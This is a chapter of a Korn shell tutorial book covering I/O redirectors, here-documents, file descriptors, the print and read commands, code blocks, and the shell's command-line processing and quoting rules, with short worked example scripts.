The past few chapters have gone into detail about various shell programming techniques, mostly focused on the flow of data and control through shell programs. In this chapter, we'll switch the focus to two related topics. The first is the shell's mechanisms for doing file-oriented input and output. We'll present information that expands on what you already know about the shell's basic I/O redirectors.

Second, we'll "zoom in" and talk about I/O at the line and word level. This is a fundamentally different topic, since it involves moving information between the domains of files/terminals and shell variables. print and command substitution are two ways of doing this that we've seen so far.

Our discussion of line and word I/O will lead into a more detailed explanation of how the shell processes command lines. This information is necessary so that you can understand exactly how the shell deals with quotation, and so that you can appreciate the power of an advanced command called eval, which we will cover at the end of the chapter.

7.1 I/O Redirectors

In Chapter 1, Korn Shell Basics you learned about the shell's basic I/O redirectors, >, <, and |. Although these are enough to get you through 95% of your UNIX life, you should know that the Korn shell supports a total of 16 I/O redirectors. Table 7.1 lists them, including the three we've already seen. Although some of the rest are useful, others are mainly for systems programmers. We will wait until the next chapter to discuss the last three, which, along with >|, are not present in most Bourne shell versions.

Table 7.1: I/O Redirectors
Redirector | Function
> file | Direct standard output to file
< file | Take standard input from file
cmd1 | cmd2 | Pipe; take standard output of cmd1 as standard input to cmd2
>> file | Direct standard output to file; append to file if it already exists
>| file | Force standard output to file even if noclobber set
<> file | Use file as both standard input and standard output
<< label | Here-document; see text
n> file | Direct file descriptor n to file
n< file | Set file as file descriptor n
>&n | Duplicate standard output to file descriptor n
<&n | Duplicate standard input from file descriptor n
<&- | Close the standard input
>&- | Close the standard output
|& | Background process with I/O from parent shell
>&p | Direct background process' standard output to the parent shell's standard output
<&p | Direct parent shell's standard input to background process' standard input

Notice that some of the redirectors in Table 7.1 contain a digit n, and that their descriptions contain the term file descriptor; we'll cover that in a little while.

The first two new redirectors, >> and >|, are simple variations on the standard output redirector >. The >> appends to the output file (instead of overwriting it) if it already exists; otherwise it acts exactly like >. A common use of >> is for adding a line to an initialization file (such as .profile or .mailrc) when you don't want to bother with a text editor. For example:

cat >> .mailrc
alias fred frederick@longmachinename.longcompanyname.com
^D

As we saw in Chapter 1, cat without an argument uses standard input as its input. This allows you to type the input and end it with [CTRL-D] on its own line. The alias line will be appended to the file .mailrc if it already exists; if it doesn't, the file is created with that one line.

Recall from Chapter 3, Customizing Your Environment that you can prevent the shell from overwriting a file with > file by typing set -o noclobber. >| overrides noclobber - it's the "Do it anyway, dammit!" redirector.

The redirector <> is mainly meant for use with device files (in the /dev directory), i.e., files that correspond to hardware devices such as terminals and communication lines. Low-level systems programmers can use it to test device drivers; otherwise, it's not very useful. But if you use a windowing system like X, you can try the following to see how it works:

  1. Create two terminal windows (e.g., xterms).

  2. In one of them, type who am i to find out the name of the window's "pseudo-device." This will be the second word in the output.

  3. In the other, type cat <> /dev/pty, where pty is the name you found in the last step.

  4. Back in the first window, type some characters. You will see them appear in alternate windows.

  5. Type [CTRL-C] in both windows to end the process.

7.1.1 Here-documents

The << label redirector essentially forces the input to a command to be the shell's standard input, which is read until there is a line that contains only label. The input in between is called a here-document. Here-documents aren't very interesting when used from the command prompt. In fact, it's the same as the normal use of standard input except for the label. We could have used a here-document in the previous example of >>, like this (EOF, for "end of file," is an often-used label):

cat >> .mailrc << EOF
alias fred frederick@longmachinename.longcompanyname.com
EOF

Here-documents are meant to be used from within shell scripts; they let you specify "batch" input to programs. A common use of here-documents is with simple text editors like ed(1). Here is a programming task that uses a here-document in this way:

Task 7.1

The s file command in mail(1) saves the current message in file. If the message came over a network (such as the Internet), then it has several header lines prepended that give information about network routing. Write a shell script that deletes the header lines from the file.

We can use ed to delete the header lines. To do this, we need to know something about the syntax of mail messages; specifically, that there is always a blank line between the header lines and the message text. The ed command 1,/^[]*$/d does the trick: it means, "Delete from line 1 until the first blank line." We also need the ed commands w (write the changed file) and q (quit). Here is the code that solves the task:

ed $1 << EOF
1,/^[]*$/d
w
q
EOF

The shell does parameter (variable) substitution and command substitution on text in a here-document, meaning that you can use shell variables and commands to customize the text. Here is a simple task for system administrators that shows how this works:

Task 7.2

Write a script that sends a mail message to a set of users saying that a new version of a certain program has been installed in a certain directory.

You can get a list of all users on the system in various ways; perhaps the easiest is to use cut to extract the first field of /etc/passwd, the file that contains all user account information. Fields in this file are separated by colons (:). [1]

[1] There are a few possible problems with this; for example, /etc/passwd usually contains information on "accounts" that aren't associated with people, like uucp, lp, and daemon. We'll ignore such problems for the purpose of this example.

Given such a list of users, the following code does the trick:

pgmname=$1
for user in $(cut -f1 -d: /etc/passwd); do
    mail $user << EOF
Dear $user,

A new version of $pgmname has been installed in $(whence pgmname).

Regards,
Your friendly neighborhood sysadmin.
EOF
done

The shell will substitute the appropriate values for the name of the program and its directory.

The redirector << has two variations. First, you can prevent the shell from doing parameter and command substitution by surrounding the label in single or double quotes. In the above example, if you used the line mail $user << 'EOF', then $pgmname and $(whence pgmname) would remain untouched.

The second variation is <<-, which deletes leading TABs (but not blanks) from the here-document and the label line. This allows you to indent the here-document's text, making the shell script more readable:

pgmname=$1
for user in $(cut -f1 -d: /etc/passwd); do
    mail $user <<- EOF
        Dear user,

        A new version of $pgmname has been installed in $(whence pgmname).

        Regards,

        Your friendly neighborhood sysadmin.
EOF
done

Of course, you need to choose your label so that it doesn't appear as an actual input line.

7.1.2 File Descriptors

The next few redirectors in Table 7.1 depend on the notion of a file descriptor. Like the device files used with <>, this is a low-level UNIX I/O concept that is of interest only to systems programmers - and then only occasionally. File descriptors are historical relics that really should be banished from the realm of shell use. [2] You can get by with a few basic facts about them; for the whole bloody story, look at the entries for read(), write(), fcntl(), and others in Section 2 of the UNIX manual.

[2] The C shell's set of redirectors contains no mention of file descriptors whatsoever.

File descriptors are integers starting at 0 that index an array of file information within a process. When a process starts, it usually has three file descriptors open. These correspond to the three standards: standard input (file descriptor 0), standard output (1), and standard error (2). If a process opens UNIX files for input or output, they are assigned to the next available file descriptors, starting with 3.

By far the most common use of file descriptors with the Korn shell is in saving standard error in a file. For example, if you want to save the error messages from a long job in a file so that they don't scroll off the screen, append 2> file to your command. If you also want to save standard output, append > file1 2> file2.

This leads to another programming task.

Task 7.3

You want to start a long job in the background (so that your terminal is freed up) and save both standard output and standard error in a single log file. Write a script that does this.

We'll call this script start. The code is very terse:

"$@" > logfile 2>&1 &

This line executes whatever command and parameters follow start. (The command cannot contain pipes or output redirectors.) It sends the command's standard output to logfile.

Then, the redirector 2>&1 says, "send standard error (file descriptor 2) to the same place as standard output (file descriptor 1)." 2>&1 is actually a combination of two redirectors in Table 7.1: n> file and >&n. Since standard output is redirected to logfile, standard error will go there too. The final & puts the job in the background so that you get your shell prompt back.

As a small variation on this theme, we can send both standard output and standard error into a pipe instead of a file: command 2>&1 | ... does this. (Make sure you understand why.) Here is a script that sends both standard output and standard error to the logfile (as above) and to the terminal:

"$@" 2>&1 | tee logfile &

The command tee(1) takes its standard input and copies it to standard output and the file given as argument.

These scripts have one shortcoming: you must remain logged in until the job completes. Although you can always type jobs (see Chapter 1) to check on progress, you can't leave your office for the day unless you want to risk a breach of security or waste electricity. We'll see how to solve this problem in the next chapter.

The other file-descriptor-oriented redirectors (e.g., <&n) are usually used for reading input from (or writing output to) more than one file at the same time. We'll see an example later in this chapter. Otherwise, they're mainly meant for systems programmers, as are <&- (force standard input to close) and >&- (force standard output to close).

Before we leave this topic, we should just note that 1> is the same as >, and 0< is the same as <. If you understand this, then you probably know all you need to know about file descriptors.

Previous: 6.3 Arrays | Learning the Korn Shell | Next: 7.2 String I/O
6.3 Arrays | Book Index | 7.2 String I/O
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 7] 7.2 String I/O

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 7.1 I/O Redirectors Chapter 7
Input/Output and Command-line Processing 		Next: 7.3 Command-line Processing

7.2 String I/O

Now we'll zoom back in to the string I/O level and examine the print and read statements, which give the shell I/O capabilities that are more analogous to those of conventional programming languages.

7.2.1 print

As we've seen countless times in this book, print simply prints its arguments to standard output. You should use it instead of the echo command, whose functionality differs from system to system. [3] Now we'll explore the command in greater detail.

[3] Specifically, there is a difference between System V and BSD versions. The latter accepts options similar to those of print, while the former accepts C language-style escape sequences.

7.2.1.1 print escape sequences

print accepts a number of options, as well as several escape sequences that start with a backslash. [4] These are similar to the escape sequences recognized by echo and the C language; they are listed in Table 7.2.

[4] You must use a double backslash if you don't surround the string that contains them with quotes; otherwise, the shell itself "steals" a backslash before passing the arguments to print.

These sequences exhibit fairly predictable behavior, except for \f on some displays, it causes a screen clear, while on others it causes a line feed. It ejects the page on most printers. \v is somewhat obsolete; it usually causes a line feed.

Table 7.2: print Escape Sequences
Sequence | Character printed
\a | ALERT or [CTRL-G]
\b | BACKSPACE or [CTRL-H]
\c | Omit final NEWLINE
\f | FORMFEED or [CTRL-L]
\n | NEWLINE (not at end of command) or [CTRL-J]
\r | RETURN (ENTER) or [CTRL-M]
\t | TAB or [CTRL-I]
\v | VERTICAL TAB or [CTRL-K]
\0 n | ASCII character with octal (base-8) value n, where n is 1 to 3 digits
\\ | Single backslash

The \0n sequence is even more device-dependent and can be used for complex I/O, such as cursor control and special graphics characters.

7.2.1.2 Options to print

print also accepts a few dash options; we've already seen -n for omitting the final NEWLINE. The options are listed in Table 7.3.

Table 7.3: print Options
Option | Function
-n | Omit the final newline (same as the \c escape sequence)
-r | Raw; ignore the escape sequences listed above
-p | Print on pipe to coroutine; see next chapter
-s | Print to command history file. See Chapter 2, Command-line Editing.
-u n | Print to file descriptor n

Notice that some of these are redundant: print -n is the same as print with c at the end of a line; print -u n ... is equivalent to print ... >&n (though the former is more efficient).

However, print -s is not the same as print ... >> $HISTFILE. The latter command renders the vi and emacs editing modes temporarily inoperable; you must use print -s if you want to print to your history file.

Printing to your history file is useful if you want to edit something that the shell expands when it processes a command line; for example, a complex environment variable such as PATH. If you enter the command print -s PATH=$PATH and then press [CTRL-P] in emacs-mode (or ESC k in vi-mode), you will see something like this:

$ PATH=/bin:/usr/bin:/etc:/usr/ucb:/usr/local/bin:/home/billr/bin

That is, the shell expands the variable (and would expand anything else, like command substitutions, wildcards, etc.) before it writes the line to the history file. Your cursor will be at the end of the line (or at the beginning of the line in vi-mode), and you can edit your PATH without having to type in the whole thing again.

7.2.2 read

The other half of the shell's string I/O facilities is the read command, which allows you to read values into shell variables. The basic syntax is:

read var1 var2...

There are a few options, which we will cover in the section "Options to read," below. This statement takes a line from the standard input and breaks it down into words delimited by any of the characters in the value of the environment variable IFS (see Chapter 4, Basic Shell Programming; these are usually a space, a TAB, and NEWLINE). The words are assigned to variables var1, var2, etc. For example:

$ read fred bob
dave pete
$ print "$fred"
dave
$ print "$bob"
pete

If there are more words than variables, then excess words are assigned to the last variable. If you omit the variables altogether, the entire line of input is assigned to the variable REPLY.

You may have identified this as the "missing ingredient" in the shell programming capabilities we have seen thus far. It resembles input statements in conventional languages, like its namesake in Pascal. So why did we wait this long to introduce it?

Actually, read is sort of an "escape hatch" from traditional shell programming philosophy, which dictates that the most important unit of data to process is a text file, and that UNIX utilities such as cut, grep, sort, etc., should be used as building blocks for writing programs.

read, on the other hand, implies line-by-line processing. You could use it to write a shell script that does what a pipeline of utilities would normally do, but such a script would inevitably look like:

while (read a line) do
    process the line
    print the processed line
end

This type of script is usually much slower than a pipeline; furthermore, it has the same form as a program someone might write in C (or some similar language) that does the same thing much much faster. In other words, if you are going to write it in this line-by-line way, there is no point in writing a shell script. (The author has gone for years without writing a script with read in it.)

7.2.2.1 Reading lines from files

Nevertheless, shell scripts with read are useful for certain kinds of tasks. One is when you are reading data from a file small enough so that efficiency isn't a concern (say a few hundred lines or less), and it's really necessary to get bits of input into shell variables.

One task that we have already seen fits this description: Task 5-4, the script that a system administrator could use to set a user's TERM environment variable according to which terminal line he or she is using. The code in Chapter 5, Flow Control used a case statement to select the correct value for TERM.

This code would presumably reside in /etc/profile, the system-wide initialization file that the Korn shell runs before running a user's .profile. If the terminals on the system change over time - as surely they must - then the code would have to be changed. It would be better to store the information in a file and change just the file instead.

Assume we put the information in a file whose format is typical of such UNIX "system configuration" files: each line contains a device name, a TAB, and a TERM value. If the file, which we'll call /etc/terms, contained the same data as the case statement in Chapter 5, Flow Control, it would look like this:

console	s531
tty01	gl35a
tty03	gl35a
tty04	gl35a
tty07	t2000
tty08	s531

We can use read to get the data from this file, but first we need to know how to test for the end-of-file condition. Simple: read's exit status is 1 (i.e., non-0) when there is nothing to read. This leads to a clean while loop:

TERM=vt99       # assume this as a default
line=$(tty)
while read dev termtype; do
    if [[ $dev = $line ]]; then
        TERM=$termtype
        print "TERM set to $TERM."
        break
    fi
done

The while loop reads each line of the input into the variables dev and termtype. In each pass through the loop, the if looks for a match between $dev and the user's tty ($line, obtained by command substitution from the tty command). If a match is found, TERM is set, a message is printed, and the loop exits; otherwise TERM remains at the default setting of vt99.

We're not quite done, though: this code reads from the standard input, not from /etc/terms! We need to know how to redirect input to multiple commands. It turns out that there are a few ways of doing this.

7.2.2.2 I/O Redirection and multiple commands

One way to solve the problem is with a subshell, as we'll see in the next chapter. This involves creating a separate process to do the reading. However, it is usually more efficient to do it in the same process; the Korn shell gives us three ways of doing this.

The first, which we have seen already, is with a function:

function findterm {
    TERM=vt99       # assume this as a default
    line=$(tty)
    while read dev termtype; do
        if [[ $dev = $line ]]; then
            TERM=$termtype
            print "TERM set to $TERM."
            break;
        fi
    done
}

findterm < /etc/terms

A function acts like a script in that it has its own set of standard I/O descriptors, which can be redirected in the line of code that calls the function. In other words, you can think of this code as if findterm were a script and you typed findterm < /etc/terms on the command line. The read statement takes input from /etc/terms a line at a time, and the function runs correctly.

The second way is by putting the I/O redirector at the end of the loop, like this:

TERM=vt99       # assume this as a default
line=$(tty)
while read dev termtype; do
    if [[ $dev = $line ]]; then
        TERM=$termtype
        print "TERM set to $TERM."
        break;
    fi
done < /etc/terms

You can use this technique with any flow-control construct, including if...fi, case...esac, select...done, and until...done. This makes sense because these are all compound statements that the shell treats as single commands for these purposes. This technique works fine - the read command reads a line at a time - as long as all of the input is done within the compound statement.

7.2.2.3 Code blocks

But if you want to redirect I/O to or from an arbitrary group of commands without creating a separate process, you need to use a construct that we haven't seen yet. If you surround some code with { and }, the code will behave like a function that has no name. This is another type of compound statement. In accordance with the equivalent concept in the C language, we'll call this a block of code. [5]

[5] LISP programmers may prefer to think of this as an anonymous function or lambda- function.

What good is a block? In this case, it means that the code within the curly brackets ({}) will take standard I/O descriptors just as we described in the last block of code. This construct is appropriate for the current example because the code needs to be called only once, and the entire script is not really large enough to merit breaking down into functions. Here is how we use a block in the example:

{
    TERM=vt99       # assume this as a default
    line=$(tty)
    while read dev termtype; do
        if [[ $dev = $line ]]; then
            TERM=$termtype
            print "TERM set to $TERM."
            break;
        fi
    done
} < /etc/terms

To help you understand how this works, think of the curly brackets and the code inside them as if they were one command, i.e.:

{ TERM=vt99; line=$(tty); while ... } < /etc/terms

Configuration files for system administration tasks like this one are actually fairly common; a prominent example is /etc/hosts, which lists machines that are accessible in a TCP/IP network. We can make /etc/terms more like these standard files by allowing comment lines in the file that start with #, just as in shell scripts. This way /etc/terms can look like this:

#
# System Console is a Shande 531s
console	s531
#
# Prof. Subramaniam's line has a Givalt GL35a
tty01	gl35a
...

We can handle comment lines in two ways. First, we could modify the while loop so that it ignores lines beginning with #. We would take advantage of the fact that the equal sign (=) under [[/]] does pattern matching, not just equality testing:

if [[ $dev != \#* && $dev = $line ]]; then
    ...

The pattern is #*, which matches any string beginning with #. We must precede # with a backslash so that the shell doesn't treat the rest of the line as a comment. Also, remember from Chapter 5 that the && combines the two conditions so that both must be true for the entire condition to be true.

This would certainly work, but the more usual way to filter out comment lines is to use a pipeline with grep. We give grep the regular expression ^[^#], which matches anything except lines beginning with #. Then we change the call to the block so that it reads from the output of the pipeline instead of directly from the file. [6]

[6] Unfortunately, using read with input from a pipe is often very inefficient, because of issues in the design of the shell that aren't relevant here.

grep "^[^#]" /etc/terms | {
    TERM=vt99
    ...
}

We can also use read to improve our solution to Task 6-2, in which we emulate the multicolumn output of ls. In the solution in the previous chapter, we assumed that (as in System V-derived versions of UNIX) filenames are limited to 14 characters, and we used 14 as a fixed column width. We'll improve the solution so that it allows any filename length (as in BSD-derived UNIX versions) and uses the length of the longest filename (plus 2) as the column width.

We will need to pass the output of ls twice through the list of files we want to display in multicolumn format. In the first pass, we will find the longest filename and use that to set the number of columns as well as their width; the second pass will do the actual output. Here is a block of code for the first pass:

ls "$@" | {
    let width=0
    while read fname; do
        if (( ${#fname} > $width )); then
            let width=${#fname}
        fi
    done
    let width="$width + 2"
    let numcols="${COLUMNS:-80} / $width"
}

This code looks a bit like an exercise from a first-semester programming class. The while loop goes through the input looking for files with names that are longer than the longest found so far; if a longer one is found, its length is saved as the new longest length.

After the loop finishes, we add 2 to the width to allow for space between columns. Then we divide the width of the terminal by the column width to get the number of columns; the shell's integer division operator truncates remainders, which is just what we want. Recall from Chapter 3 that the built-in variable COLUMNS often contains the display width; the construct ${COLUMNS:-80} gives a default of 80 if this variable is not set.

The results of the block are the variables width and numcols. These are global variables, so they are accessible by the rest of the code inside our (eventual) script. In particular, we need them in our second pass through the filenames. The code for this resembles the code to our original solution; all we need to do is replace the fixed column width and number of columns with the variables:

set -A filenames $(ls $@)
typeset -L$width fname
let count=0

while (( $count < ${#filenames[*]} )); do
    fname=${filenames[$count]}
    print "$fname  \\"
    let count="count + 1"
    if [[ $((count % numcols)) = 0 ]]; then
         print		# output a NEWLINE
    fi
done

if [[ $((count % numcols)) != 0 ]]; then
    print
fi

The entire script consists of both pieces of code.

7.2.2.4 Reading User Input

The other type of task to which read is suited is prompting a user for input. Think about it: we have hardly seen any such scripts so far in this book. In fact, the only ones were the modified solutions to Task 5-4, which involved select.

As you've probably figured out, read can be used to get user input into shell variables. We can use print to prompt the user, like this:

print -n 'terminal? '
read TERM
print "TERM is $TERM"

Here is what this looks like when it runs:

terminal? vt99
TERM is vt99

However, shell convention dictates that prompts should go to standard error, not standard output. (Recall that select prompts to standard error.) We could just use file descriptor 2 with the output redirector we saw earlier in this chapter:

print -n 'terminal? ' >&2
read TERM
print TERM is $TERM

However, this has various disadvantages. The shell provides a better way of doing the same thing: if you follow the first variable name in a read statement with a question mark (?) and a string, the shell will use that string as a prompt. In other words:

read TERM?'terminal? '
print "TERM is $TERM"

does the same as the above. This looks a bit nicer; also, the shell knows not to generate the prompt if the input is redirected to come from a file, and this scheme allows you to use vi- or emacs-mode on your input line.

We'll flesh out this simple example by showing how Task 5-4 would be done if select didn't exist. Compare this with the code in Chapter 5:

print 'Select your terminal type:'
done=false
while [[ $done = false ]]; do
    done=true		# assume user will make a valid choice
    {
        print '1) gl35a'
        print '2) t2000'
        print '3) s531'
        print '4) vt99'
    } >&2
    read REPLY?'terminal? '

    case $REPLY in
        1 ) TERM=gl35a ;;
        2 ) TERM=t2000 ;;
        3 ) TERM=s531 ;;
        4 ) TERM=vt99 ;;
        * ) print 'invalid.'
              done=false ;;
    esac
done
print 'TERM is $TERM'

The while loop is necessary so that the code repeats if the user makes an invalid choice.

This is roughly twice as many lines of code as the first solution in Chapter 5 - but exactly as many as the later, more user-friendly version! This shows that select saves you code only if you don't mind using the same strings to display your menu choices as you use inside your script.

However, select has other advantages, including the ability to construct multicolumn menus if there are many choices, and better handling of null user input.

7.2.2.5 Options to read

read takes a set of options that are similar to those for print. Table 7.4 lists them.

Table 7.4: read Options
Option | Function
-r | Raw; do not use \\ as line continuation character.
-p | Read from pipe to coroutine; see next chapter.
-s | Save input in command history file. See Chapter 1.
-u n | Read from file descriptor n.

read lets you input lines that are longer than the width of your display device by providing backslash (\) as a continuation character, just as in shell scripts. The -r option to read overrides this, in case your script reads from a file that may contain lines that happen to end in backslashes.

read -r also preserves any other escape sequences the input might contain. For example, if the file fred contains this line:

A line with a\n escape sequence

Then read -r fredline will include the backslash in the variable fredline, whereas without the -r, read will "eat" the backslash. As a result:

$ read -r fredline < fred
$ print "$fredline"
A line with a
 escape sequence
$

However:

$ read fredline < fred
$ print "$fredline"
A line with an escape sequence
$

The -s option helps you if you are writing a highly interactive script and you want to provide the same command-history capability as the shell itself has. For example, say you are writing a new version of mail as a shell script. Your basic command loop might look like this:

while read -s cmd; do
    # process the command
done

Using read -s allows the user to retrieve previous commands to your program with the emacs-mode [CTRL-P] command or the vi-mode ESC k command. The kshdb debugger in Chapter 9, Debugging Shell Programs uses this feature.

Finally, the -u N option is useful in scripts that read from more than one file at the same time. Here's an example of this that also uses the n< I/O redirector that we saw earlier in this chapter.

Task 7.4

Write a script that prints the contents of two files side by side.

We'll format the output so the two output columns are fixed at 30 characters wide. Here is the code:

typeset -L30 f1 f2
while read -u3 f1 && read -u4 f2; do
    print "$f1$f2"
done 3<$1 4<$2

read -u3 reads from file descriptor 3, and 3<$1 directs the file given as first argument to be input on that file descriptor; the same is true for the second argument and file descriptor 4. Remember that file descriptors 0, 1, and 2 are already used for standard I/O. We use file descriptors 3 and 4 for our two input files; it's best to start from 3 and work upwards to the shell's limit, which is 9.

The typeset command and the quotes around the argument to print ensure that the output columns are 30 characters wide and that all whitespace in the lines from the file is preserved. The while loop reads one line from each file until at least one of them runs out of input.

Assume the file dave contains the following:

DAVE
Height: 5'10"
Weight: 175 lbs.
Hair: brown
Eyes: brown

And the file shirley contains this:

SHIRLEY
Height: 5'6"
Weight: 142 lbs.
Hair: blonde
Eyes: blue

If the script is called twocols, then twocols dave shirley produces this output:

DAVE                          SHIRLEY
Height: 5'10"                 Height: 5'6"
Weight: 175 lbs.              Weight: 142 lbs.
Hair: brown                   Hair: blonde
Eyes: brown                   Eyes: blue

Previous: 7.1 I/O Redirectors | Learning the Korn Shell | Next: 7.3 Command-line Processing
7.1 I/O Redirectors | Book Index | 7.3 Command-line Processing
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 7] 7.3 Command-line Processing

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 7.2 String I/O Chapter 7
Input/Output and Command-line Processing 		Next: 8. Process Handling

7.3 Command-line Processing

We've seen how the shell uses read to process input lines: it deals with single quotes (' '), double quotes (" "), and backslashes (\); it separates lines into words, according to delimiters in the environment variable IFS; and it assigns the words to shell variables. We can think of this process as a subset of the things the shell does when processing command lines.

We've touched upon command-line processing (see Figure 7.1) throughout this book; now is a good time to make the whole thing explicit. [7] Each line that the shell reads from the standard input or a script is called a pipeline; it contains one or more commands separated by zero or more pipe characters (|). For each pipeline it reads, the shell breaks it up into commands, sets up the I/O for the pipeline, then does the following for each command:

[7] Even this explanation is slightly simplified to elide the most petty details, e.g., "middles" and "ends" of compound commands, special characters within [[...]] and ((...)) constructs, etc. The last word on this subject is the reference book, The KornShell Command and Programming Language, by Morris Bolsky and David Korn, published by Prentice-Hall.

  1. Splits the command into tokens that are separated by the fixed set of metacharacters: SPACE, TAB, NEWLINE, ;, (, ), <, >, |, and &. Types of tokens include words, keywords, I/O redirectors, and semicolons.

  2. Checks the first token of each command to see if it is a keyword with no quotes or backslashes. If it's an opening keyword (if and other control-structure openers, function, {, (, ((, or [[), then the command is actually a compound command. The shell sets things up internally for the compound command, reads the next command, and starts the process again. If the keyword isn't a compound command opener (e.g., is a control-structure "middle" like then, else, or do, an "end" like fi or done, or a logical operator), the shell signals a syntax error.

  3. Checks the first word of each command against the list of aliases. If a match is found, it substitutes the alias' definition and goes back to Step 1; otherwise it goes on to Step 4. This scheme allows recursive aliases; see Chapter 3. It also allows aliases for keywords to be defined, e.g., alias aslongas=while or alias procedure=function.

  4. Substitutes the user's home directory ($HOME) for tilde if it is at the beginning of a word. Substitutes user's home directory for ~user. [8]

    [8] Two obscure variations on this: the shell substitutes the current directory ($PWD) for ~+ and the previous directory ($OLDPWD) for ~-.

  5. Performs parameter (variable) substitution for any expression that starts with a dollar sign ($).

  6. Does command substitution for any expression of the form $(string).

  7. Evaluates arithmetic expressions of the form $((string)).

  8. Takes the parts of the line that resulted from parameter, command, and arithmetic substitution and splits them into words again. This time it uses the characters in $IFS as delimiters instead of the set of metacharacters in Step 1.

  9. Performs filename generation, a.k.a. wildcard expansion, for any occurrences of *, ?, and [/] pairs. It also processes the regular expression operators that we saw in Chapter 4.

    Figure 7.1: Steps in Command-line Processing

  10. Uses the first word as a command by looking up its source according to the rest of the list in Chapter 4, i.e., as a built-in command, then as a function, then as a file in any of the directories in $PATH.

  11. Runs the command after setting up I/O redirection and other such things.

That's a lot of steps - and it's not even the whole story! But before we go on, an example should make this process clearer. Assume that the following command has been run:

alias ll="ls -l"

Further assume that a file exists called .hist537 in user fred's home directory, which is /home/fred, and that there is a double-dollar-sign variable $$ whose value is 2537 (we'll see what this special variable is in the next chapter).

Now let's see how the shell processes the following command:

ll $(whence cc) ~fred/.*$(($$%1000))

Here is what happens to this line:

  1. ll $(whence cc) ~fred/.*$(($$%1000))

    Splitting the input into words.

  2. ll is not a keyword, so step 2 does nothing.

  3. ls -l $(whence cc) ~fred/.*$(($$%1000))

    Substituting ls -l for its alias "ll". The shell then repeats steps 1 through 3; step 2 splits the ls -l into two words. [9]

    [9] Some of the shell's built-in aliases, however, seem to make it through single quotes: true (an alias for :, a "do-nothing" command that always returns exit status 0), false (an alias for let 0, which always returns exit status 1), and stop (an alias for kill -STOP).

  4. ls -l $(whence cc) /home/fred/.*$(($$%1000))

    Expanding ~fred into /home/fred.

  5. ls -l $(whence cc) /home/fred/.*$((2537%1000))

    Substituting 2537 for $$.

  6. ls -l /usr/bin/cc /home/fred/.*$((2537%1000))

    Doing command substitution on "whence cc".

  7. ls -l /usr/bin/cc /home/fred/.*537

    Evaluating the arithmetic expression 2537%1000.

  8. ls -l /usr/bin/cc /home/fred/.*537

    This step does nothing.

  9. ls -l /usr/bin/cc /home/fred/.hist537

    Substituting the filename for the wildcard expression .*537.

  10. The command ls is found in /usr/bin.

  11. /usr/bin/ls is run with the option -l and the two arguments.

Although this list of steps is fairly straightforward, it is not the whole story. There are still two ways to subvert the process: by quoting and by using the advanced command eval.

7.3.1 Quoting

You can think of quoting as a way of getting the shell to skip some of the 11 steps above. In particular:

  • Single quotes ( '  ') bypass everything through Step 9 - including aliasing. [10] All characters inside a pair of single quotes are untouched. You can't have single quotes inside single quotes - not even if you precede them with backslashes.

    [10] However, as we saw in Chapter 1 '\'' (i.e., single quote, backslash, single quote, single quote) acts pretty much like a single quote in the middle of a single-quoted string; e.g., 'abc'\''def' evaluates to abc'def.

  • Double quotes (" ") bypass steps 1 through 4, plus steps 8 and 9. That is, they ignore pipe characters, aliases, tilde substitution, wildcard expansion, and splitting into words via delimiters (e.g., blanks) inside the double quotes. Single quotes inside double quotes have no effect. But double quotes do allow parameter substitution, command substitution, and arithmetic expression evaluation. You can include a double quote inside a double-quoted string by preceding it with a backslash (\). You must also backslash-escape $, ` (the archaic command substitution delimiter), and \ itself.

Table 7.5 contains some simple examples that show how these work; they assume that the statement dave=bob was run and that user fred's home directory is /home/fred.

If you are wondering whether to use single or double quotes in a particular shell programming situation, it is safest to use single quotes unless you specifically need parameter, command, or arithmetic substitution.

Table 7.5: Examples of Quoting Rules
Expression | Value
$dave | bob
"$dave" | bob
\\$dave | $dave
'$dave' | $dave
'$dave' | 'bob'
~fred | /home/fred
"~fred" | ~fred
'~fred' | ~fred

Here's a more advanced example of command-line processing that should give you deeper insight into the overall process.

Task 7.5

Customize your primary prompt string so that it contains the current directory with tilde (~) notation.

Recall from Chapter 4 that we found a simple way to set up the prompt string PS1 so that it always contains the current directory:

PS1='($PWD)-> '

One problem with this setup is that the resulting prompt strings can get very long. One way to shorten them is to substitute tilde notation for users' home directories. This cannot be done with a simple string expression analogous to the above. The solution is somewhat complicated and takes advantage of the command-line processing rules.

The basic idea is to create a "wrapper" around the cd command, as we did in Chapter 5, that installs the current directory with tilde notation as the prompt string. Because cd is a built-in command, the wrapper must be an alias in order to override it. But the code we need to insert tilde notation is too complicated for an alias, so we'll use a function and then alias the function as cd.

We'll start with a function that, given a pathname as argument, prints its equivalent in tilde notation if possible:

function tildize {
    if [[ $1 = $HOME* ]]; then
        print "\~/${1#$HOME}"
        return 0
    fi
    awk '{FS=":"; print $1, $6}' /etc/passwd |
        while read user homedir; do
            if [[ $homedir != / && $1 = ${homedir}?(/*) ]]; then
                print "\~$user/${1#$homedir}"
                return 0
            fi
        done
    print "$1"
    return 1
}

The first if clause checks if the given pathname is under the user's home directory. If so, it substitutes tilde (~) for the home directory in the pathname and returns.

If not, we use the awk utility to extract the first and sixth fields of the file /etc/passwd, which contain users IDs and home directories, respectively. In this case, awk acts like cut. The FS=":" is analogous to -d:, which we saw in Chapter 4, except that it prints the values on each line separated by blanks, not colons (:).

awk's output is fed into a while loop that checks the pathname given as argument to see if it contains some user's home directory. (The first part of the conditional expression eliminates "users" like daemon and root, whose home directories are root and therefore are contained in every full pathname.The second part matches home directories by themselves or with some other directory appended (the ?(/*) part.)) If a user's home directory is found, then ~user is substituted for the full home directory in the given pathname, the result is printed, and the function exits.

Finally, if the while loop exhausts all users without finding a home directory that is a prefix of the given pathname, then tildize simply echoes back its input.

Now that we have this function, you might think we could use it in a command substitution expression like this:

PS1='$(tildize $PWD)'

But this won't work, because the shell doesn't do command substitution when it evaluates the prompt string after every command. That's why we have to incorporate it into an alias that supersedes cd. The following code should go into your .profile or environment file, along with the definition of tildize:

PS1=$(tildize $PWD)

function _cd {
    "cd" "$@"
    es=$?
    PS1=$(tildize $PWD)
    return $es
}

alias cd=_cd

